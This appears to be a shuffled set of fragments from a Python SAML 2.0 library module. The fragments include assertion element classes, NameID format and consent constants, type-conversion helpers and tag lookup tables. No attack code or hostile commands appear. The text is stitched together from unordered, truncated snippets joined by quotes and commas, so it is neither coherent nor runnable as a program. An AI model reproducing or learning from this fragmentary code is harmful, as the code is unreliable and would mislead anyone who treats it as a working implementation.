typ.startswith('xsd:'): try: self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xsd'] =", "session_index self.session_not_on_or_after = session_not_on_or_after def authn_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatementType_, xml_string) class", "urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement element \"\"\" c_tag = 'AttributeStatement' c_namespace = NAMESPACE c_children", "AUTHN_PASSWORD_PROTECTED = \\ \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\" # attribute statements is key:value metadata", "NameIDType_.c_tag: name_id_type__from_string, EncryptedElementType_.c_tag: encrypted_element_type__from_string, EncryptedID.c_tag: encrypted_id_from_string, Issuer.c_tag: issuer_from_string, AssertionIDRef.c_tag: assertion_id_ref_from_string,", "= ('resource', 'anyURI', True) c_attributes['Decision'] = ('decision', DecisionType_, True) c_child_order.extend(['action',", "EncryptedAttribute(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute element \"\"\" c_tag = 'EncryptedAttribute' c_namespace =", "metadata shared with your app # custom format NAME_FORMAT_UNSPECIFIED =", "'one_time_use', [OneTimeUse]) c_cardinality['one_time_use'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction'] = ( 'proxy_restriction',", "'type': type(value), 'to_type': lambda x: x, 'to_text': lambda x: x,", "AudienceRestrictionType_.c_children.copy() c_attributes = AudienceRestrictionType_.c_attributes.copy() c_child_order = AudienceRestrictionType_.c_child_order[:] c_cardinality = AudienceRestrictionType_.c_cardinality.copy()", "= ('format', 'anyURI', False) c_attributes['SPProvidedID'] = ('sp_provided_id', 'string', False) def", "('sp_name_qualifier', 'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, text=None, extension_elements=None, extension_attributes=None):", "c_tag = 'AdviceType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "\"true\": raise Exception( \"Attribute value base should not have extension", "= AttributeStatementType_.c_attributes.copy() c_child_order = AttributeStatementType_.c_child_order[:] c_cardinality = AttributeStatementType_.c_cardinality.copy() def attribute_statement_from_string(xml_string):", "base_id=None, name_id=None, encrypted_id=None, subject_confirmation=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action']", "c_cardinality['encrypted_key'] = {\"min\": 0} c_child_order.extend(['encrypted_data', 'encrypted_key']) def __init__(self, encrypted_data=None, encrypted_key=None,", "self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience = audience or [] self.count", "include: Email address, X.509 subject name, Windows domain qualified name,", "'AdviceType': AdviceType_, 'EncryptedAssertion': EncryptedAssertion, 'Statement': Statement, 'AuthnStatement': AuthnStatement, 'AuthnStatementType': AuthnStatementType_,", "= SamlBase.c_cardinality.copy() c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef'] = ( 'authn_context_class_ref', AuthnContextClassRef) c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl'] =", "else self.get_type() or type_to_xsd.get(type(value))) xsd_ns, xsd_type = ( ['', type(None)]", "c_children = AuthzDecisionStatementType_.c_children.copy() c_attributes = AuthzDecisionStatementType_.c_attributes.copy() c_child_order = AuthzDecisionStatementType_.c_child_order[:] c_cardinality", "xml_string) class Issuer(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Issuer element \"\"\" c_tag = 'Issuer'", "audience_restriction_from_string, AudienceRestrictionType_.c_tag: audience_restriction_type__from_string, Audience.c_tag: audience_from_string, OneTimeUse.c_tag: one_time_use_from_string, OneTimeUseType_.c_tag: one_time_use_type__from_string, ProxyRestriction.c_tag:", "# xmlschema definition XSD = \"xs\" # xmlschema templates and", "avaiable formats NAMEID_FORMATS_SAML2 = ( ('NAMEID_FORMAT_EMAILADDRESS', NAMEID_FORMAT_EMAILADDRESS), ('NAMEID_FORMAT_ENCRYPTED', NAMEID_FORMAT_ENCRYPTED), ('NAMEID_FORMAT_ENTITY',", "= 'EncryptedElementType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "NS_SOAP_ENC = \"http://schemas.xmlsoap.org/soap/encoding/\" # type definitions for xmlschemas XSI_TYPE =", "kerberos instance NAMEID_FORMAT_KERBEROS = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\") # subject as name", "float, 'to_type': float, 'to_text': _str, }, 'boolean': { 'type': bool,", "return saml2.create_class_from_xml_string(AuthnContextDeclRef, xml_string) class AuthnContextDecl(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl element \"\"\" c_tag", "saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_, xml_string) class ConditionAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType element \"\"\" c_tag =", "else [ XSD if xsd_string in xsd_types_props else '', xsd_string", "urn:oasis:names:tc:SAML:2.0:assertion:Conditions element \"\"\" c_tag = 'Conditions' c_namespace = NAMESPACE c_children", "_str, }, 'float': { 'type': float, 'to_type': float, 'to_text': _str,", "xml_string) class ProxyRestriction(ProxyRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction element \"\"\" c_tag = 'ProxyRestriction'", "c_namespace = NAMESPACE c_value_type = {'base': 'string', 'enumeration': ['Permit', 'Deny',", "False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None,", "or [] self.authz_decision_statement = authz_decision_statement or [] self.attribute_statement = attribute_statement", "import SamlBase import six from saml2 import xmldsig as ds", "{\"namespace\": \"##any\", \"processContents\": \"lax\", \"minOccurs\": \"0\", \"maxOccurs\": \"unbounded\"} c_any_attribute =", "'to_type': lambda x: None, 'to_text': lambda x: '', }, }", "key_info_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_, xml_string) class ConditionAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType element \"\"\"", "= SubjectConfirmationType_.c_attributes.copy() c_child_order = SubjectConfirmationType_.c_child_order[:] c_cardinality = SubjectConfirmationType_.c_cardinality.copy() def subject_confirmation_from_string(xml_string):", "SubjectConfirmationType_.c_child_order[:] c_cardinality = SubjectConfirmationType_.c_cardinality.copy() def subject_confirmation_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmation, xml_string) class", "has been initiated CONSENT_PRIOR = \"urn:oasis:names:tc:SAML:2.0:consent:prior\" # consent has been", "self.format = format self.sp_provided_id = sp_provided_id def name_id_type__from_string(xml_string): return saml2.create_class_from_xml_string(NameIDType_,", "than once\") return SamlBase.verify(self) def conditions_type__from_string(xml_string): return saml2.create_class_from_xml_string(ConditionsType_, xml_string) class", "X.509 subject name, Windows domain qualified name, Kerberos principal name,", "NAMEID_FORMAT_ENCRYPTED), ('NAMEID_FORMAT_ENTITY', NAMEID_FORMAT_ENTITY), ('NAMEID_FORMAT_PERSISTENT', NAMEID_FORMAT_PERSISTENT), ('NAMEID_FORMAT_TRANSIENT', NAMEID_FORMAT_TRANSIENT), ('NAMEID_FORMAT_UNSPECIFIED', NAMEID_FORMAT_UNSPECIFIED), )", "NAMESPACE c_children = AdviceType_.c_children.copy() c_attributes = AdviceType_.c_attributes.copy() c_child_order = AdviceType_.c_child_order[:]", "EncryptedAssertion.c_tag: encrypted_assertion_from_string, Statement.c_tag: statement_from_string, AuthnStatement.c_tag: authn_statement_from_string, AuthnStatementType_.c_tag: authn_statement_type__from_string, SubjectLocality.c_tag: subject_locality_from_string,", "subject_confirmation=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id =", "obtained before the message has been initiated CONSENT_PRIOR = \"urn:oasis:names:tc:SAML:2.0:consent:prior\"", "xml_string) class AuthzDecisionStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType element \"\"\" c_tag = 'AuthzDecisionStatementType'", "or [] def verify(self): if self.authn_context_decl and self.authn_context_decl_ref: raise Exception(", "authenticating_authority_from_string(xml_string): return saml2.create_class_from_xml_string(AuthenticatingAuthority, xml_string) class DecisionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:DecisionType element \"\"\"", "valid_ipv4, MustValueError from saml2.validate import valid_ipv6 from saml2.validate import ShouldValueError", "\"##other\", \"processContents\": \"lax\"} def __init__(self, not_before=None, not_on_or_after=None, recipient=None, in_response_to=None, address=None,", "'subject_confirmation_data']) def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation_data=None, method=None, text=None, extension_elements=None,", "self.attribute_value = attribute_value or [] self.name = name self.name_format =", "# the specified action is denied DECISION_TYPE_DENY = \"Deny\" #", "'http://www.w3.org/2001/XMLSchema-instance' # xml soap namespace NS_SOAP_ENC = \"http://schemas.xmlsoap.org/soap/encoding/\" # type", "SamlBase.c_cardinality.copy() def authn_context_class_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextClassRef, xml_string) class AuthnContextDeclRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef", "actual text content text = ( tree.text.strip() if tree.text and", "'type': _str, 'to_type': _str, 'to_text': ( lambda x: b64encode(x.encode()) if", "('SPNameQualifier', 'string', False), ] ELEMENT_FROM_STRING = { BaseID.c_tag: base_id_from_string, NameID.c_tag:", "= AuthnStatementType_.c_cardinality.copy() def authn_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatement, xml_string) class AttributeStatement(AttributeStatementType_): \"\"\"The", "pass def set_text(self, value, base64encode=False): def _wrong_type_value(xsd, value): msg =", "= not_on_or_after def verify(self): if self.one_time_use: if len(self.one_time_use) != 1:", "c_cardinality['subject'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions'] = ( 'conditions',", "text=None, extension_elements=extension_elements, extension_attributes=extension_attributes) if self._extatt: self.extension_attributes = self._extatt if text:", "EncryptedAttribute.c_tag: encrypted_attribute_from_string, } ELEMENT_BY_TAG = { 'BaseID': BaseID, 'NameID': NameID,", "] ELEMENT_FROM_STRING = { BaseID.c_tag: base_id_from_string, NameID.c_tag: name_id_from_string, NameIDType_.c_tag: name_id_type__from_string,", "Mon May 2 14:23:33 2011 by parse_xsd.py version 0.4. #", "saml2.create_class_from_xml_string(Statement, xml_string) class SubjectLocality(SubjectLocalityType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality element \"\"\" c_tag =", "authn_context_decl_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDecl, xml_string) class AuthenticatingAuthority(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority element \"\"\"", "#.................. # ['Assertion', 'AssertionType', 'AdviceType', 'Advice'] class AssertionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionType", "once\") return SamlBase.verify(self) def conditions_type__from_string(xml_string): return saml2.create_class_from_xml_string(ConditionsType_, xml_string) class AuthnStatementType_(StatementAbstractType_):", "}, '': { 'type': type(None), 'to_type': lambda x: None, 'to_text':", "namespace=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.namespace =", "!= 1: raise Exception(\"Cannot be used more than once\") return", "'ProxyRestriction': ProxyRestriction, 'ProxyRestrictionType': ProxyRestrictionType_, 'Advice': Advice, 'AdviceType': AdviceType_, 'EncryptedAssertion': EncryptedAssertion,", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData element \"\"\" c_tag = 'SubjectConfirmationData' c_namespace = NAMESPACE", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion element \"\"\" c_tag = 'EncryptedAssertion' c_namespace = NAMESPACE", "encrypted_attribute_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAttribute, xml_string) class BaseID(BaseIDAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseID element \"\"\"", "id=None, issue_instant=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.issuer", "self.extension_attributes['xmlns:xs'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xs'] = XS_NAMESPACE if typ.startswith('xsd:'):", "AuthnContextDeclRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef element \"\"\" c_tag = 'AuthnContextDeclRef' c_namespace =", "\"processContents\": \"lax\"} def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None, extension_elements=None,", "= AuthnStatementType_.c_child_order[:] c_cardinality = AuthnStatementType_.c_cardinality.copy() def authn_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatement, xml_string)", "element \"\"\" c_tag = 'Assertion' c_namespace = NAMESPACE c_children =", "AuthnStatementType_.c_children.copy() c_attributes = AuthnStatementType_.c_attributes.copy() c_child_order = AuthnStatementType_.c_child_order[:] c_cardinality = AuthnStatementType_.c_cardinality.copy()", "# clear type #self.clear_type() self.set_text(text) # if we have added", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef'] = ( 'assertion_id_ref',", "six.PY2 else str if isinstance(value, six.binary_type): value = value.decode('utf-8') type_to_xsd", "= 'SubjectLocalityType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "raise ValueError(msg) # only work with six.string_types _str = unicode", "= 'ProxyRestriction' c_namespace = NAMESPACE c_children = ProxyRestrictionType_.c_children.copy() c_attributes =", "StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality'] = ( 'subject_locality', SubjectLocality) c_cardinality['subject_locality']", "not self.text and not self.extension_elements: if not self.extension_attributes: raise Exception(", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = ( 'encrypted_assertion', [EncryptedAssertion]) c_cardinality['encrypted_assertion'] = {\"min\": 0} c_child_order.extend(['assertion_id_ref',", "saml2.create_class_from_xml_string(AttributeType_, xml_string) class SubjectConfirmationType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType element \"\"\" c_tag =", "value = value.decode('utf-8') type_to_xsd = { _str: 'string', int: 'integer',", "class Action(ActionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Action element \"\"\" c_tag = 'Action' c_namespace", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.key_info = key_info", "errata, and the new version is here: # https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf #", "\"\"\" c_tag = 'ConditionAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "urn:oasis:names:tc:SAML:2.0:assertion:Assertion element \"\"\" c_tag = 'Assertion' c_namespace = NAMESPACE c_children", "recipient self.in_response_to = in_response_to self.address = address def subject_confirmation_data_type__from_string(xml_string): return", "CONSENT_OBTAINED = \"urn:oasis:names:tc:SAML:2.0:consent:obtained\" # consent has been obtained before the", "'Evidence': Evidence, 'EvidenceType': EvidenceType_, 'AttributeStatement': AttributeStatement, 'AttributeStatementType': AttributeStatementType_, 'Attribute': Attribute,", "# subject as windows domain name NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\")", "x: x, }, '': { 'type': type(None), 'to_type': lambda x:", "encrypted_assertion=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.assertion_id_ref =", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.assertion_id_ref = assertion_id_ref or [] self.assertion_uri_ref =", "saml2.create_class_from_xml_string(OneTimeUseType_, xml_string) class ProxyRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType element \"\"\" c_tag =", "( 'authn_context_decl_ref', AuthnContextDeclRef) c_cardinality['authn_context_decl_ref'] = {\"min\": 0, \"max\": 1} c_children[", "pdf. # http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf # The specification was later updated with", "self.extension_attributes: del self.extension_attributes[XSI_NIL] class BaseIDAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType element \"\"\" c_tag", "self.decision = decision def authz_decision_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatementType_, xml_string) class AuthzDecisionStatement(AuthzDecisionStatementType_):", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition'] = ( 'condition', [Condition])", "c_tag = 'NameID' c_namespace = NAMESPACE c_children = NameIDType_.c_children.copy() c_attributes", "= 'Assertion' c_namespace = NAMESPACE c_children = AssertionType_.c_children.copy() c_attributes =", "c_children = OneTimeUseType_.c_children.copy() c_attributes = OneTimeUseType_.c_attributes.copy() c_child_order = OneTimeUseType_.c_child_order[:] c_cardinality", "c_children = SubjectConfirmationType_.c_children.copy() c_attributes = SubjectConfirmationType_.c_attributes.copy() c_child_order = SubjectConfirmationType_.c_child_order[:] c_cardinality", "Statement, 'AuthnStatement': AuthnStatement, 'AuthnStatementType': AuthnStatementType_, 'SubjectLocality': SubjectLocality, 'SubjectLocalityType': SubjectLocalityType_, 'AuthnContext':", "key_info or [] def key_info_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_, xml_string) class ConditionAbstractType_(SamlBase):", "XSD if xsd_string in xsd_types_props else '', xsd_string ] if", "= SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData'] = ( 'encrypted_data', xenc.EncryptedData) c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey'] = (", "_str, }, 'short': { 'type': int, 'to_type': int, 'to_text': _str,", "c_cardinality = SubjectLocalityType_.c_cardinality.copy() def verify(self): if self.address: # dotted-decimal IPv4", "child in tree: self._convert_element_tree_to_member(child) for attribute, value in iter(tree.attrib.items()): self._convert_element_attribute_to_member(attribute,", "value base should not have extension attributes\" ) return True", "encrypted_id self.subject_confirmation_data = subject_confirmation_data self.method = method def subject_confirmation_type__from_string(xml_string): return", "Email address, X.509 subject name, Windows domain qualified name, Kerberos", "( \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\") # subject as x509 key NAMEID_FORMAT_X509SUBJECTNAME = (", "not_before=None, not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.condition", "= AuthnStatementType_.c_children.copy() c_attributes = AuthnStatementType_.c_attributes.copy() c_child_order = AuthnStatementType_.c_child_order[:] c_cardinality =", "{}) valid_type = xsd_type_props.get('type', type(None)) to_type = xsd_type_props.get('to_type', str) to_text", "c_cardinality = StatementAbstractType_.c_cardinality.copy() def statement_from_string(xml_string): return saml2.create_class_from_xml_string(Statement, xml_string) class SubjectLocality(SubjectLocalityType_):", "= {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef'] = ( 'authn_context_decl_ref', AuthnContextDeclRef)", "element \"\"\" c_tag = 'AuthzDecisionStatement' c_namespace = NAMESPACE c_children =", "attribute_type__from_string, AttributeValue.c_tag: attribute_value_from_string, EncryptedAttribute.c_tag: encrypted_attribute_from_string, } ELEMENT_BY_TAG = { 'BaseID':", "SubjectConfirmationDataType_, 'KeyInfoConfirmationDataType': KeyInfoConfirmationDataType_, 'Conditions': Conditions, 'ConditionsType': ConditionsType_, 'Condition': Condition, 'AudienceRestriction':", "AuthnContextClassRef.c_tag: authn_context_class_ref_from_string, AuthnContextDeclRef.c_tag: authn_context_decl_ref_from_string, AuthnContextDecl.c_tag: authn_context_decl_from_string, AuthenticatingAuthority.c_tag: authenticating_authority_from_string, AuthzDecisionStatement.c_tag: authz_decision_statement_from_string,", "= \"xs\" # xmlschema templates and extensions XS_NAMESPACE = 'http://www.w3.org/2001/XMLSchema'", "'string', False), ] ELEMENT_FROM_STRING = { BaseID.c_tag: base_id_from_string, NameID.c_tag: name_id_from_string,", "'AdviceType', 'Evidence', # 'Assertion', 'AssertionType', 'AuthzDecisionStatementType', 'Advice'] class EvidenceType_(SamlBase): \"\"\"The", "SubjectType_.c_children.copy() c_attributes = SubjectType_.c_attributes.copy() c_child_order = SubjectType_.c_child_order[:] c_cardinality = SubjectType_.c_cardinality.copy()", "extension_attributes=extension_attributes) self.address = address self.dns_name = dns_name def subject_locality_type__from_string(xml_string): return", "be used more than once\") if self.proxy_restriction: if len(self.proxy_restriction) !=", "authn_context_decl_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDeclRef, xml_string) class AuthnContextDecl(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl element \"\"\"", "'BaseID' c_namespace = NAMESPACE c_children = BaseIDAbstractType_.c_children.copy() c_attributes = BaseIDAbstractType_.c_attributes.copy()", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseID element \"\"\" c_tag = 'BaseID' c_namespace = NAMESPACE", "saml2.create_class_from_xml_string(AuthnStatementType_, xml_string) class AttributeStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType element \"\"\" c_tag =", "AttributeType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeType element \"\"\" c_tag = 'AttributeType' c_namespace =", "SamlBase.verify(self) def conditions_type__from_string(xml_string): return saml2.create_class_from_xml_string(ConditionsType_, xml_string) class AuthnStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType", "'subject_locality', SubjectLocality) c_cardinality['subject_locality'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext'] =", "b64encode from saml2.validate import valid_ipv4, MustValueError from saml2.validate import valid_ipv6", "\"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation'] = ( 'subject_confirmation', [SubjectConfirmation]) c_cardinality['subject_confirmation'] = {\"min\":", "name_id_type__from_string(xml_string): return saml2.create_class_from_xml_string(NameIDType_, xml_string) class EncryptedElementType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType element \"\"\"", "[Audience]) c_cardinality['audience'] = {\"min\": 0} c_attributes['Count'] = ('count', 'nonNegativeInteger', False)", "login credentials AUTHN_PASSWORD = \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\" # authenticate the request with", "type before type-checking if type(value) is _str and valid_type is", "NAME_FORMAT_BASIC), ('NAME_FORMAT_URI', NAME_FORMAT_URI), ('NAME_FORMAT_UNSPECIFIED', NAME_FORMAT_UNSPECIFIED), ) # the SAML authority's", "xsd_types_props.get(xsd_type, {}) valid_type = xsd_type_props.get('type', type(None)) to_type = xsd_type_props.get('to_type', str)", "within a <Subject> offers the ability to provide name identifiers", "authn_context_decl_from_string, AuthenticatingAuthority.c_tag: authenticating_authority_from_string, AuthzDecisionStatement.c_tag: authz_decision_statement_from_string, AuthzDecisionStatementType_.c_tag: authz_decision_statement_type__from_string, DecisionType_.c_tag: decision_type__from_string, Action.c_tag:", "KeyError): pass try: self.extension_attributes[XSI_TYPE] = typ except AttributeError: self._extatt[XSI_TYPE] =", "of rules describing how to embed SAML assertions. # https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf", "'anyURI', True) c_attributes['Decision'] = ('decision', DecisionType_, True) c_child_order.extend(['action', 'evidence']) def", "Persistent identifier, Transient identifier.\" \"\"\" c_tag = 'NameID' c_namespace =", "name_qualifier self.sp_name_qualifier = sp_name_qualifier class NameIDType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameIDType element \"\"\"", "class AuthenticatingAuthority(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority element \"\"\" c_tag = 'AuthenticatingAuthority' c_namespace", "other children to this node # remove the nil marker", "= AdviceType_.c_child_order[:] c_cardinality = AdviceType_.c_cardinality.copy() def advice_from_string(xml_string): return saml2.create_class_from_xml_string(Advice, xml_string)", "= authn_instant self.session_index = session_index self.session_not_on_or_after = session_not_on_or_after def authn_statement_type__from_string(xml_string):", "('audience', [Audience]) c_cardinality['audience'] = {\"min\": 1} c_child_order.extend(['audience']) def __init__(self, audience=None,", "base_id_from_string(xml_string): return saml2.create_class_from_xml_string(BaseID, xml_string) class NameID(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameID element From", "= ( 'advice', Advice) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AG_IDNameQualifiers = [ ('NameQualifier',", "# authenticate the request with login credentials, over tls/https AUTHN_PASSWORD_PROTECTED", "'type': float, 'to_type': float, 'to_text': _str, }, 'boolean': { 'type':", "saml2.create_class_from_xml_string(AttributeValue, xml_string) class EncryptedAttribute(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute element \"\"\" c_tag =", "= NAMESPACE c_children = SubjectConfirmationType_.c_children.copy() c_attributes = SubjectConfirmationType_.c_attributes.copy() c_child_order =", "self.sp_name_qualifier = sp_name_qualifier self.format = format self.sp_provided_id = sp_provided_id def", "saml2.create_class_from_xml_string(Conditions, xml_string) class AuthnStatement(AuthnStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement element \"\"\" c_tag =", "and valid_type is not _str: try: value = to_type(value) except", "ImportError: from base64 import b64encode from saml2.validate import valid_ipv4, MustValueError", "= encrypted_data self.encrypted_key = encrypted_key or [] def encrypted_element_type__from_string(xml_string): return", "function to turn that type into a text-value xsd_types_props =", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def audience_from_string(xml_string):", "{\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, attribute_value=None, name=None, name_format=NAME_FORMAT_URI, friendly_name=None,", "SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer'] = ('issuer', Issuer) c_children['{http://www.w3.org/2000/09/xmldsig#}Signature'] = ('signature', ds.Signature) c_cardinality['signature']", "= ('audience', [Audience]) c_cardinality['audience'] = {\"min\": 0} c_attributes['Count'] = ('count',", "SAML authority cannot determine if the action is permitted or", "# 'Assertion', 'AssertionType', 'AuthzDecisionStatementType', 'Advice'] class EvidenceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType element", "= XS_NAMESPACE except AttributeError: self._extatt['xmlns:xsd'] = XS_NAMESPACE def get_type(self): try:", "False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, format=None, sp_provided_id=None, text=None, extension_elements=None, extension_attributes=None):", "= NAMESPACE c_children = NameIDType_.c_children.copy() c_attributes = NameIDType_.c_attributes.copy() c_child_order =", "SubjectConfirmationData, 'SubjectConfirmationDataType': SubjectConfirmationDataType_, 'KeyInfoConfirmationDataType': KeyInfoConfirmationDataType_, 'Conditions': Conditions, 'ConditionsType': ConditionsType_, 'Condition':", "CONSENT_EXPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\" # no consent has been obtained CONSENT_UNAVAILABLE", "'text', text) return self def harvest_element_tree(self, tree): # Fill in", "c_namespace = NAMESPACE c_children = BaseIDAbstractType_.c_children.copy() c_attributes = BaseIDAbstractType_.c_attributes.copy() c_child_order", "if text or self.extension_elements: if XSI_NIL in self.extension_attributes: del self.extension_attributes[XSI_NIL]", "SubjectConfirmationType_.c_tag: subject_confirmation_type__from_string, SubjectConfirmationData.c_tag: subject_confirmation_data_from_string, SubjectConfirmationDataType_.c_tag: subject_confirmation_data_type__from_string, KeyInfoConfirmationDataType_.c_tag: key_info_confirmation_data_type__from_string, Conditions.c_tag: conditions_from_string,", "has been given and under # what conditions # no", "= \"Indeterminate\" # consent attributes determine wether consent has been", "__init__(self, encrypted_data=None, encrypted_key=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "'AuthnContextDecl' c_namespace = NAMESPACE c_value_type = {'base': 'anyType'} c_children =", "return saml2.create_class_from_xml_string(ActionType_, xml_string) class AttributeValue(AttributeValueBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue element \"\"\" c_tag", "class NameID(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameID element From the Oasis SAML2 Technical", "\"The <NameID> element within a <Subject> 